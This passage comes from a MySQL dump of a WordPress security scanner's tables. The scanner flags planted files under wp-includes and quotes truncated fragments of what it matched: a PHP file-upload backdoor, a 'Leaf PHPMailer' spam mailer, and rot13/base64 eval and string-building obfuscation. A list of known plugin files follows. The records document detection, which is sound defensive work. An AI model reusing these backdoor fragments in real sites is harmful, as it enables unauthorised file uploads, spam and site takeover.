malware</strong>','a:9:{s:4:\"file\";s:46:\"wp-includes/sitemaps/egf1kul/ytws1xl/index.php\";s:8:\"realFile\";s:76:\"/home/trevorkl/trevorklee.com/wp-includes/sitemaps/egf1kul/ytws1xl/index.php\";s:4:\"shac\";s:64:\"38E65C492EEE427C6FD4BEBDC6FBCF5A7EF78EC1B70E0A577AAAA5938413B142\";s:9:\"highSense\";b:0;s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;s:13:\"canRegenerate\";b:0;s:8:\"wpconfig\";b:0;}'),
(246,1789251246,1789251246,'new','file',100,'ea9a29e27262232d5345920f4ace8463','0673df8eb8c1bbc12c3453265bdb350b','File appears to be malicious or unsafe: wp-includes/Text/elbyraq/1qafueo/vlkr1cf/ORVX-Qt6TYY.php','This file appears to be installed or modified by a hacker to perform malicious activity. If you know about this file you can choose to ignore it to exclude it from future scans. The matched text in this file is: <strong style=\"color: #F00;\" class=\"wf-split-word\">&lt;title&gt;&#039;.str_replace(&quot;www.&quot;, &quot;&quot;, $_SERVER[&#039;HTTP_HOST&#039;]).&#039; - Leaf PHPMailer</strong> <br><br>The issue type is: <strong>Mailer:PHP/generic.7754</strong><br>Description: <strong>A php mailer</strong>','a:9:{s:4:\"file\";s:56:\"wp-includes/Text/elbyraq/1qafueo/vlkr1cf/ORVX-Qt6TYY.php\";s:8:\"realFile\";s:86:\"/home/trevorkl/trevorklee.com/wp-includes/Text/elbyraq/1qafueo/vlkr1cf/ORVX-Qt6TYY.php\";s:4:\"shac\";s:64:\"2BBE897FF6944242E0B166D437A92816F4B8A84427AA8EB22BB2B1E482732F32\";s:9:\"highSense\";b:0;s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;s:13:\"canRegenerate\";b:0;s:8:\"wpconfig\";b:0;}'),
(249,1789251246,1789251246,'new','file',100,'21b17f3fbbb96c4d47de5e0a9ec21b98','e95c24f7cfe48d3746a6575db12d21e0','File appears to be malicious or unsafe: wp-includes/sitemaps/ubxnoaj/xwlk1ch/index.php','This file appears to be installed or modified by a hacker to perform malicious activity. If you know about this file you can choose to ignore it to exclude it from future scans. The matched text in this file is: <strong style=\"color: #F00;\" class=\"wf-split-word\">&lt;?php error_reporting(0); if(trim($_GET[&#039;f&#039;]) == &#039;f&#039;){ $saw1 = $_FILES[&#039;file&#039;][&#039;tmp_name&#039;]; $saw2 = &#039;../&#039;.$_FILES[&#039;file&#039;][&#039;name&#039;]; echo &quot;&lt;form method=&#039;POST&#039; enctype=&#039;multipart/form-data&#039;&gt;&lt;input type=&#039;...</strong> <br><br>The issue type is: <strong>Backdoor:PHP/filemanager.11472</strong><br>Description: <strong>File uploading behavior reminiscent of malware</strong>','a:9:{s:4:\"file\";s:46:\"wp-includes/sitemaps/ubxnoaj/xwlk1ch/index.php\";s:8:\"realFile\";s:76:\"/home/trevorkl/trevorklee.com/wp-includes/sitemaps/ubxnoaj/xwlk1ch/index.php\";s:4:\"shac\";s:64:\"38E65C492EEE427C6FD4BEBDC6FBCF5A7EF78EC1B70E0A577AAAA5938413B142\";s:9:\"highSense\";b:0;s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;s:13:\"canRegenerate\";b:0;s:8:\"wpconfig\";b:0;}'),
(250,1789251246,1789251246,'new','file',100,'5e3e5f6198d767de74268ce4e50bd714','e95c24f7cfe48d3746a6575db12d21e0','File appears to be malicious or unsafe: wp-includes/sitemaps/ntueyzv/yvqrbhm/index.php','This file appears to be installed or modified by a hacker to perform malicious activity. If you know about this file you can choose to ignore it to exclude it from future scans. The matched text in this file is: <strong style=\"color: #F00;\" class=\"wf-split-word\">&lt;?php error_reporting(0); if(trim($_GET[&#039;f&#039;]) == &#039;f&#039;){ $saw1 = $_FILES[&#039;file&#039;][&#039;tmp_name&#039;]; $saw2 = &#039;../&#039;.$_FILES[&#039;file&#039;][&#039;name&#039;]; echo &quot;&lt;form method=&#039;POST&#039; enctype=&#039;multipart/form-data&#039;&gt;&lt;input type=&#039;...</strong> <br><br>The issue type is: <strong>Backdoor:PHP/filemanager.11472</strong><br>Description: <strong>File uploading behavior reminiscent of malware</strong>','a:9:{s:4:\"file\";s:46:\"wp-includes/sitemaps/ntueyzv/yvqrbhm/index.php\";s:8:\"realFile\";s:76:\"/home/trevorkl/trevorklee.com/wp-includes/sitemaps/ntueyzv/yvqrbhm/index.php\";s:4:\"shac\";s:64:\"38E65C492EEE427C6FD4BEBDC6FBCF5A7EF78EC1B70E0A577AAAA5938413B142\";s:9:\"highSense\";b:0;s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;s:13:\"canRegenerate\";b:0;s:8:\"wpconfig\";b:0;}'),
(253,1789251246,1789251246,'new','file',100,'e4cd29838261dd0ee034abb6cd9348d3','638a9b9ae1a9bf6e2a90f05037d2fcf6','File appears to be malicious or unsafe: wp-includes/html-api/gcqoh1b/ecjxzqp/nmorylh/index.php','This file appears to be installed or modified by a hacker to perform malicious activity. If you know about this file you can choose to ignore it to exclude it from future scans. The matched text in this file is: <strong style=\"color: #F00;\" class=\"wf-split-word\">&lt;title&gt;&#039;.str_replace(&quot;www.&quot;, &quot;&quot;, $_SERVER[&#039;HTTP_HOST&#039;]).&#039; - Leaf PHPMailer</strong> <br><br>The issue type is: <strong>Mailer:PHP/generic.7754</strong><br>Description: <strong>A php mailer</strong>','a:9:{s:4:\"file\";s:54:\"wp-includes/html-api/gcqoh1b/ecjxzqp/nmorylh/index.php\";s:8:\"realFile\";s:84:\"/home/trevorkl/trevorklee.com/wp-includes/html-api/gcqoh1b/ecjxzqp/nmorylh/index.php\";s:4:\"shac\";s:64:\"64BDA41D49904243A1BD401EDDEBB5C46500122E314DBAC86ACC6B94224340BD\";s:9:\"highSense\";b:0;s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;s:13:\"canRegenerate\";b:0;s:8:\"wpconfig\";b:0;}'),
(254,1789251246,1789251246,'new','file',100,'24279c7c887cf16efc9e66d4320ce9b6','e95c24f7cfe48d3746a6575db12d21e0','File appears to be malicious or unsafe: wp-includes/sitemaps/svjbhyp/nogdurq/index.php','This file appears to be installed or modified by a hacker to perform malicious activity. If you know about this file you can choose to ignore it to exclude it from future scans. The matched text in this file is: <strong style=\"color: #F00;\" class=\"wf-split-word\">&lt;?php error_reporting(0); if(trim($_GET[&#039;f&#039;]) == &#039;f&#039;){ $saw1 = $_FILES[&#039;file&#039;][&#039;tmp_name&#039;]; $saw2 = &#039;../&#039;.$_FILES[&#039;file&#039;][&#039;name&#039;]; echo &quot;&lt;form method=&#039;POST&#039; enctype=&#039;multipart/form-data&#039;&gt;&lt;input type=&#039;...</strong> <br><br>The issue type is: <strong>Backdoor:PHP/filemanager.11472</strong><br>Description: <strong>File uploading behavior reminiscent of malware</strong>','a:9:{s:4:\"file\";s:46:\"wp-includes/sitemaps/svjbhyp/nogdurq/index.php\";s:8:\"realFile\";s:76:\"/home/trevorkl/trevorklee.com/wp-includes/sitemaps/svjbhyp/nogdurq/index.php\";s:4:\"shac\";s:64:\"38E65C492EEE427C6FD4BEBDC6FBCF5A7EF78EC1B70E0A577AAAA5938413B142\";s:9:\"highSense\";b:0;s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;s:13:\"canRegenerate\";b:0;s:8:\"wpconfig\";b:0;}'),
(255,1789251246,1789251246,'new','file',100,'8d1e2beb1b1e721c899c52e47cf0de7d','e95c24f7cfe48d3746a6575db12d21e0','File appears to be malicious or unsafe: wp-includes/sitemaps/1xuftgv/dtrewsx/index.php','This file appears to be installed or modified by a hacker to perform malicious activity. If you know about this file you can choose to ignore it to exclude it from future scans. The matched text in this file is: <strong style=\"color: #F00;\" class=\"wf-split-word\">&lt;?php error_reporting(0); if(trim($_GET[&#039;f&#039;]) == &#039;f&#039;){ $saw1 = $_FILES[&#039;file&#039;][&#039;tmp_name&#039;]; $saw2 = &#039;../&#039;.$_FILES[&#039;file&#039;][&#039;name&#039;]; echo &quot;&lt;form method=&#039;POST&#039; enctype=&#039;multipart/form-data&#039;&gt;&lt;input type=&#039;...</strong> <br><br>The issue type is: <strong>Backdoor:PHP/filemanager.11472</strong><br>Description: <strong>File uploading behavior reminiscent of malware</strong>','a:9:{s:4:\"file\";s:46:\"wp-includes/sitemaps/1xuftgv/dtrewsx/index.php\";s:8:\"realFile\";s:76:\"/home/trevorkl/trevorklee.com/wp-includes/sitemaps/1xuftgv/dtrewsx/index.php\";s:4:\"shac\";s:64:\"38E65C492EEE427C6FD4BEBDC6FBCF5A7EF78EC1B70E0A577AAAA5938413B142\";s:9:\"highSense\";b:0;s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;s:13:\"canRegenerate\";b:0;s:8:\"wpconfig\";b:0;}'),
(258,1789251246,1789251246,'new','file',100,'71fc35f6b5811b7dec66d7519514d554','e95c24f7cfe48d3746a6575db12d21e0','File appears to be malicious or unsafe: wp-includes/sitemaps/fxpu1qt/uspyrgz/index.php','This file appears to be installed or modified by a hacker to perform malicious activity. If you know about this file you can choose to ignore it to exclude it from future scans. The matched text in this file is: <strong style=\"color: #F00;\" class=\"wf-split-word\">&lt;?php error_reporting(0); if(trim($_GET[&#039;f&#039;]) == &#039;f&#039;){ $saw1 = $_FILES[&#039;file&#039;][&#039;tmp_name&#039;]; $saw2 = &#039;../&#039;.$_FILES[&#039;file&#039;][&#039;name&#039;]; echo &quot;&lt;form method=&#039;POST&#039; enctype=&#039;multipart/form-data&#039;&gt;&lt;input type=&#039;...</strong> <br><br>The issue type is: <strong>Backdoor:PHP/filemanager.11472</strong><br>Description: <strong>File uploading behavior reminiscent of malware</strong>','a:9:{s:4:\"file\";s:46:\"wp-includes/sitemaps/fxpu1qt/uspyrgz/index.php\";s:8:\"realFile\";s:76:\"/home/trevorkl/trevorklee.com/wp-includes/sitemaps/fxpu1qt/uspyrgz/index.php\";s:4:\"shac\";s:64:\"38E65C492EEE427C6FD4BEBDC6FBCF5A7EF78EC1B70E0A577AAAA5938413B142\";s:9:\"highSense\";b:0;s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;s:13:\"canRegenerate\";b:0;s:8:\"wpconfig\";b:0;}'),
(261,1789251246,1789251246,'new','file',100,'0ef13645527939fee15bfbf0c9fdd09d','e95c24f7cfe48d3746a6575db12d21e0','File appears to be malicious or unsafe: wp-includes/sitemaps/lpshcut/udgvzwn/index.php','This file appears to be installed or modified by a hacker to perform malicious activity. If you know about this file you can choose to ignore it to exclude it from future scans. The matched text in this file is: <strong style=\"color: #F00;\" class=\"wf-split-word\">&lt;?php error_reporting(0); if(trim($_GET[&#039;f&#039;]) == &#039;f&#039;){ $saw1 = $_FILES[&#039;file&#039;][&#039;tmp_name&#039;]; $saw2 = &#039;../&#039;.$_FILES[&#039;file&#039;][&#039;name&#039;]; echo &quot;&lt;form method=&#039;POST&#039; enctype=&#039;multipart/form-data&#039;&gt;&lt;input type=&#039;...</strong> <br><br>The issue type is: <strong>Backdoor:PHP/filemanager.11472</strong><br>Description: <strong>File uploading behavior reminiscent of malware</strong>','a:9:{s:4:\"file\";s:46:\"wp-includes/sitemaps/lpshcut/udgvzwn/index.php\";s:8:\"realFile\";s:76:\"/home/trevorkl/trevorklee.com/wp-includes/sitemaps/lpshcut/udgvzwn/index.php\";s:4:\"shac\";s:64:\"38E65C492EEE427C6FD4BEBDC6FBCF5A7EF78EC1B70E0A577AAAA5938413B142\";s:9:\"highSense\";b:0;s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;s:13:\"canRegenerate\";b:0;s:8:\"wpconfig\";b:0;}'),
(269,1789251246,1789251246,'new','file',100,'db80aca6a940121c752475874357882b','e95c24f7cfe48d3746a6575db12d21e0','File appears to be malicious or unsafe: wp-includes/Text/elbyraq/1qafueo/index.php','This file appears to be installed or modified by a hacker to perform malicious activity. If you know about this file you can choose to ignore it to exclude it from future scans. The matched text in this file is: <strong style=\"color: #F00;\" class=\"wf-split-word\">&lt;?php error_reporting(0); if(trim($_GET[&#039;f&#039;]) == &#039;f&#039;){ $saw1 = $_FILES[&#039;file&#039;][&#039;tmp_name&#039;]; $saw2 = &#039;../&#039;.$_FILES[&#039;file&#039;][&#039;name&#039;]; echo &quot;&lt;form method=&#039;POST&#039; enctype=&#039;multipart/form-data&#039;&gt;&lt;input type=&#039;...</strong> <br><br>The issue type is: <strong>Backdoor:PHP/filemanager.11472</strong><br>Description: <strong>File uploading behavior reminiscent of malware</strong>','a:9:{s:4:\"file\";s:42:\"wp-includes/Text/elbyraq/1qafueo/index.php\";s:8:\"realFile\";s:72:\"/home/trevorkl/trevorklee.com/wp-includes/Text/elbyraq/1qafueo/index.php\";s:4:\"shac\";s:64:\"38E65C492EEE427C6FD4BEBDC6FBCF5A7EF78EC1B70E0A577AAAA5938413B142\";s:9:\"highSense\";b:0;s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;s:13:\"canRegenerate\";b:0;s:8:\"wpconfig\";b:0;}'),
(279,1789251246,1789251246,'new','file',100,'010260fa51e252e87562692f0a778cf3','4d437f7129913dc45d244ab7fd60f39a','File appears to be malicious or unsafe: wp-includes/Text/elbyraq/1qafueo/vlkr1cf/83yqso2y.php','This file appears to be installed or modified by a hacker to perform malicious activity. If you know about this file you can choose to ignore it to exclude it from future scans. The matched text in this file is: <strong style=\"color: #F00;\" class=\"wf-split-word\">str_rot13(explode(base64_decode(&quot;Pz4=&quot;),file_get_contents(__FILE__))[1]))));preg_replace($bn_d7624002cad982b3[0],serialize(eval(</strong> <br><br>The issue type is: <strong>Suspicious:PHP/rot13_of_eval.95</strong><br>Description: <strong>A suspicious code known as rot13_of_eval</strong>','a:9:{s:4:\"file\";s:53:\"wp-includes/Text/elbyraq/1qafueo/vlkr1cf/83yqso2y.php\";s:8:\"realFile\";s:83:\"/home/trevorkl/trevorklee.com/wp-includes/Text/elbyraq/1qafueo/vlkr1cf/83yqso2y.php\";s:4:\"shac\";s:64:\"A587D7288CD53F1CEEE8FA9966C440B18BD8778734D71E392FDCCE109FE8CF3B\";s:9:\"highSense\";b:0;s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;s:13:\"canRegenerate\";b:0;s:8:\"wpconfig\";b:0;}'),
(282,1789251246,1789251246,'new','file',100,'cf6ab60709358d34dbd3455d89d82ed5','6716afa71057a4f6168288f3a2c5815f','File appears to be malicious or unsafe: wp-includes/sitemaps/nsrytze/1apqerf/exnsmrk/index.php','This file appears to be installed or modified by a hacker to perform malicious activity. If you know about this file you can choose to ignore it to exclude it from future scans. The matched text in this file is: <strong style=\"color: #F00;\" class=\"wf-split-word\">&lt;title&gt;&#039;.str_replace(&quot;www.&quot;, &quot;&quot;, $_SERVER[&#039;HTTP_HOST&#039;]).&#039; - Leaf PHPMailer</strong> <br><br>The issue type is: <strong>Mailer:PHP/generic.7754</strong><br>Description: <strong>A php mailer</strong>','a:9:{s:4:\"file\";s:54:\"wp-includes/sitemaps/nsrytze/1apqerf/exnsmrk/index.php\";s:8:\"realFile\";s:84:\"/home/trevorkl/trevorklee.com/wp-includes/sitemaps/nsrytze/1apqerf/exnsmrk/index.php\";s:4:\"shac\";s:64:\"F7970ED814BBC0C874D7457F3D2FBDA0EE83D648A4C01989AF9EBA9E5EBAA25A\";s:9:\"highSense\";b:0;s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;s:13:\"canRegenerate\";b:0;s:8:\"wpconfig\";b:0;}'),
(285,1789251246,1789251246,'new','file',100,'31e2a2abe1bcd1fb4ca884a29ac2cd41','5cb83e06aa4492687907db679fa0d125','File appears to be malicious or unsafe: wp-includes/sitemaps/ntueyzv/yvqrbhm/jmzckyd/index.php','This file appears to be installed or modified by a hacker to perform malicious activity. If you know about this file you can choose to ignore it to exclude it from future scans. The matched text in this file is: <strong style=\"color: #F00;\" class=\"wf-split-word\">=&#039;s&#039;.&#039;tr&#039;.&#039;_re&#039;.&#039;place&#039;;$XKsv=&#039;gzuncom&#039;.&#039;press&#039;;$MHUd=&#039;e&#039;.&#039;xit&#039;;$rHpl=&#039;s&#039;.</strong> <br><br>The issue type is: <strong>Obfuscated:PHP/stringbuild.C.11706</strong><br>Description: <strong>String building often seen in malware</strong>','a:9:{s:4:\"file\";s:54:\"wp-includes/sitemaps/ntueyzv/yvqrbhm/jmzckyd/index.php\";s:8:\"realFile\";s:84:\"/home/trevorkl/trevorklee.com/wp-includes/sitemaps/ntueyzv/yvqrbhm/jmzckyd/index.php\";s:4:\"shac\";s:64:\"59EA326721A0C39B3EAB8AE61D4EAECE8ED92B182ECAA88935CF59810D15D111\";s:9:\"highSense\";b:0;s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;s:13:\"canRegenerate\";b:0;s:8:\"wpconfig\";b:0;}'),
(287,1789251246,1789251246,'new','file',100,'a52badbe43c5af56c94b00616ed5870d','5cb83e06aa4492687907db679fa0d125','File appears to be malicious or unsafe: wp-includes/sitemaps/kjfl1bg/ky1monx/jzyscnm/index.php','This file appears to be installed or modified by a hacker to perform malicious activity. If you know about this file you can choose to ignore it to exclude it from future scans. The matched text in this file is: <strong style=\"color: #F00;\" class=\"wf-split-word\">=&#039;s&#039;.&#039;tr&#039;.&#039;_re&#039;.&#039;place&#039;;$XKsv=&#039;gzuncom&#039;.&#039;press&#039;;$MHUd=&#039;e&#039;.&#039;xit&#039;;$rHpl=&#039;s&#039;.</strong> <br><br>The issue type is: <strong>Obfuscated:PHP/stringbuild.C.11706</strong><br>Description: <strong>String building often seen in malware</strong>','a:9:{s:4:\"file\";s:54:\"wp-includes/sitemaps/kjfl1bg/ky1monx/jzyscnm/index.php\";s:8:\"realFile\";s:84:\"/home/trevorkl/trevorklee.com/wp-includes/sitemaps/kjfl1bg/ky1monx/jzyscnm/index.php\";s:4:\"shac\";s:64:\"59EA326721A0C39B3EAB8AE61D4EAECE8ED92B182ECAA88935CF59810D15D111\";s:9:\"highSense\";b:0;s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;s:13:\"canRegenerate\";b:0;s:8:\"wpconfig\";b:0;}'),
(291,1789251246,1789251246,'new','file',100,'b83375a5bbcc2f27c17dda726314783c','c478cd5f49252751410cde862a6570ec','File appears to be malicious or unsafe: wp-includes/html-api/knojvbd/lyuifac/csdhol1/admin.php','This file appears to be installed or modified by a hacker to perform malicious activity. If you know about this file you can choose to ignore it to exclude it from future scans. The matched text in this file is: <strong style=\"color: #F00;\" class=\"wf-split-word\">&lt;?php error_reporting(0); if(trim($_GET[&#039;f&#039;]) == &#039;f&#039;){ $saw1 = $_FILES[&#039;file&#039;][&#039;tmp_name&#039;]; $saw2 = $_FILES[&#039;file&#039;][&#039;name&#039;]; echo &quot;&lt;form method=&#039;POST&#039; enctype=&#039;multipart/form-data&#039;&gt;&lt;input type=&#039;file&#039;n...</strong> <br><br>The issue type is: <strong>Backdoor:PHP/filemanager.11472</strong><br>Description: <strong>File uploading behavior reminiscent of malware</strong>','a:9:{s:4:\"file\";s:54:\"wp-includes/html-api/knojvbd/lyuifac/csdhol1/admin.php\";s:8:\"realFile\";s:84:\"/home/trevorkl/trevorklee.com/wp-includes/html-api/knojvbd/lyuifac/csdhol1/admin.php\";s:4:\"shac\";s:64:\"2B9DE12995CAA9956DDAB7F11EDF9B885629E9CAEE990306141867A554F378ED\";s:9:\"highSense\";b:0;s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;s:13:\"canRegenerate\";b:0;s:8:\"wpconfig\";b:0;}'),
(296,1789251246,1789251246,'new','file',100,'a3545a9f218ddb267017d1cabd89452b','6a787e701b12a6dcf8b601960d12a92c','File appears to be malicious or unsafe: wp-includes/Text/yk1mjid/wgocz1i/vydqnsb/index.php','This file appears to be installed or modified by a hacker to perform malicious activity. If you know about this file you can choose to ignore it to exclude it from future scans. The matched text in this file is: <strong style=\"color: #F00;\" class=\"wf-split-word\">=&#039;fi&#039;.&#039;le_get&#039;.&#039;_cont&#039;.&#039;ents&#039;;$aueC=&#039;sub&#039;.&#039;str&#039;;$aCbJ=&#039;exi&#039;.&#039;t&#039;;$JLHw=&#039;s&#039;.&#039;t&#039;.&#039;r</strong> <br><br>The issue type is: <strong>Obfuscated:PHP/stringbuild.C.11706</strong><br>Description: <strong>String building often seen in malware</strong>','a:9:{s:4:\"file\";s:50:\"wp-includes/Text/yk1mjid/wgocz1i/vydqnsb/index.php\";s:8:\"realFile\";s:80:\"/home/trevorkl/trevorklee.com/wp-includes/Text/yk1mjid/wgocz1i/vydqnsb/index.php\";s:4:\"shac\";s:64:\"80A414B73BC46AFA9200F1AD27A0EBBA4FF385A5B1F99B32FDAEF935937E2D00\";s:9:\"highSense\";b:0;s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;s:13:\"canRegenerate\";b:0;s:8:\"wpconfig\";b:0;}'),
(303,1789251246,1789251246,'new','file',100,'13b1fe7990c498994a9c6beb1f67eb8e','e95c24f7cfe48d3746a6575db12d21e0','File appears to be malicious or unsafe: wp-includes/Text/yk1mjid/wgocz1i/index.php','This file appears to be installed or modified by a hacker to perform malicious activity. If you know about this file you can choose to ignore it to exclude it from future scans. The matched text in this file is: <strong style=\"color: #F00;\" class=\"wf-split-word\">&lt;?php error_reporting(0); if(trim($_GET[&#039;f&#039;]) == &#039;f&#039;){ $saw1 = $_FILES[&#039;file&#039;][&#039;tmp_name&#039;]; $saw2 = &#039;../&#039;.$_FILES[&#039;file&#039;][&#039;name&#039;]; echo &quot;&lt;form method=&#039;POST&#039; enctype=&#039;multipart/form-data&#039;&gt;&lt;input type=&#039;...</strong> <br><br>The issue type is: <strong>Backdoor:PHP/filemanager.11472</strong><br>Description: <strong>File uploading behavior reminiscent of malware</strong>','a:9:{s:4:\"file\";s:42:\"wp-includes/Text/yk1mjid/wgocz1i/index.php\";s:8:\"realFile\";s:72:\"/home/trevorkl/trevorklee.com/wp-includes/Text/yk1mjid/wgocz1i/index.php\";s:4:\"shac\";s:64:\"38E65C492EEE427C6FD4BEBDC6FBCF5A7EF78EC1B70E0A577AAAA5938413B142\";s:9:\"highSense\";b:0;s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;s:13:\"canRegenerate\";b:0;s:8:\"wpconfig\";b:0;}'),
(304,1789251250,1789251250,'new','wfUpgrade',25,'08390ab9061d2e00e0e7b110e67c2617','08390ab9061d2e00e0e7b110e67c2617','Your WordPress version is out of date','WordPress version 7.1 is now available. Please upgrade immediately to get the latest fixes and compatibility updates from WordPress. <a href=\"https://www.wordfence.com/help/?query=scan-result-core-upgrade\" target=\"_blank\" rel=\"noopener noreferrer\">Learn more<span class=\"screen-reader-text\"> (opens in new tab)</span></a>','a:2:{s:14:\"currentVersion\";s:5:\"6.9.7\";s:10:\"newVersion\";s:3:\"7.1\";}');
/*!40000 ALTER TABLE `wp4v_wfissues` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `wp4v_wfknownfilelist`
--

DROP TABLE IF EXISTS `wp4v_wfknownfilelist`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `wp4v_wfknownfilelist` (
  `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
  `path` text NOT NULL,
  `wordpress_path` text NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=5263 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_general_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `wp4v_wfknownfilelist`
--

LOCK TABLES `wp4v_wfknownfilelist` WRITE;
/*!40000 ALTER TABLE `wp4v_wfknownfilelist` DISABLE KEYS */;
INSERT INTO `wp4v_wfknownfilelist` VALUES
(1,'/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/.htaccess','wp-content/plugins/akismet/.htaccess'),
(2,'/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/LICENSE.txt','wp-content/plugins/akismet/LICENSE.txt'),
(3,'/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/_inc/akismet-admin.css','wp-content/plugins/akismet/_inc/akismet-admin.css'),
(4,'/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/_inc/akismet-admin.js','wp-content/plugins/akismet/_inc/akismet-admin.js'),
(5,'/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/_inc/akismet-frontend.js','wp-content/plugins/akismet/_inc/akismet-frontend.js'),
(6,'/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/_inc/akismet.css','wp-content/plugins/akismet/_inc/akismet.css'),
(7,'/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/_inc/akismet.js','wp-content/plugins/akismet/_inc/akismet.js'),
(8,'/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/_inc/fonts/inter.css','wp-content/plugins/akismet/_inc/fonts/inter.css'),
(9,'/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/_inc/img/akismet-activation-banner-elements.png','wp-content/plugins/akismet/_inc/img/akismet-activation-banner-elements.png'),
(10,'/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/_inc/img/akismet-refresh-logo.svg','wp-content/plugins/akismet/_inc/img/akismet-refresh-logo.svg'),
(11,'/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/_inc/img/akismet-refresh-logo@2x.png','wp-content/plugins/akismet/_inc/img/akismet-refresh-logo@2x.png'),
(12,'/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/_inc/img/arrow-left.svg','wp-content/plugins/akismet/_inc/img/arrow-left.svg'),
(13,'/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/_inc/img/copy.svg','wp-content/plugins/akismet/_inc/img/copy.svg'),
(14,'/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/_inc/img/logo-a-2x.png','wp-content/plugins/akismet/_inc/img/logo-a-2x.png'),
(15,'/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/_inc/rtl/akismet-admin-rtl.css','wp-content/plugins/akismet/_inc/rtl/akismet-admin-rtl.css'),
(16,'/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/_inc/rtl/akismet-rtl.css','wp-content/plugins/akismet/_inc/rtl/akismet-rtl.css'),
(17,'/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/abilities/class-akismet-ability-comment-check.php','wp-content/plugins/akismet/abilities/class-akismet-ability-comment-check.php'),
(18,'/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/abilities/class-akismet-ability-get-stats.php','wp-content/plugins/akismet/abilities/class-akismet-ability-get-stats.php'),
(19,'/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/abilities/class-akismet-ability.php','wp-content/plugins/akismet/abilities/class-akismet-ability.php'),
(20,'/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/abilities/interface-akismet-ability.php','wp-content/plugins/akismet/abilities/interface-akismet-ability.php'),
(21,'/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/akismet.php','wp-content/plugins/akismet/akismet.php'),
(22,'/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/changelog.txt','wp-content/plugins/akismet/changelog.txt'),
(23,'/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/class-akismet-abilities.php','wp-content/plugins/akismet/class-akismet-abilities.php'),
(24,'/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/class-akismet-compatible-plugins.php','wp-content/plugins/akismet/class-akismet-compatible-plugins.php'),
(25,'/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/class-akismet-connector.php','wp-content/plugins/akismet/class-akismet-connector.php'),
(26,'/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/class.akismet-admin.php','wp-content/plugins/akismet/class.akismet-admin.php'),
(27,'/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/class.akismet-cli.php','wp-content/plugins/akismet/class.akismet-cli.php'),
(28,'/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/class.akismet-rest-api.php','wp-content/plugins/akismet/class.akismet-rest-api.php'),
(29,'/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/class.akismet-widget.php','wp-content/plugins/akismet/class.akismet-widget.php'),
(30,'/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/class.akismet.php','wp-content/plugins/akismet/class.akismet.php'),
(31,'/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/index.php','wp-content/plugins/akismet/index.php'),
(32,'/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/readme.txt','wp-content/plugins/akismet/readme.txt'),
(33,'/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/views/activate.php','wp-content/plugins/akismet/views/activate.php'),
(34,'/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/views/compatible-plugins.php','wp-content/plugins/akismet/views/compatible-plugins.php'),
(35,'/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/views/config.php','wp-content/plugins/akismet/views/config.php'),
(36,'/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/views/connect-jp.php','wp-content/plugins/akismet/views/connect-jp.php'),
(37,'/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/views/enter.php','wp-content/plugins/akismet/views/enter.php'),
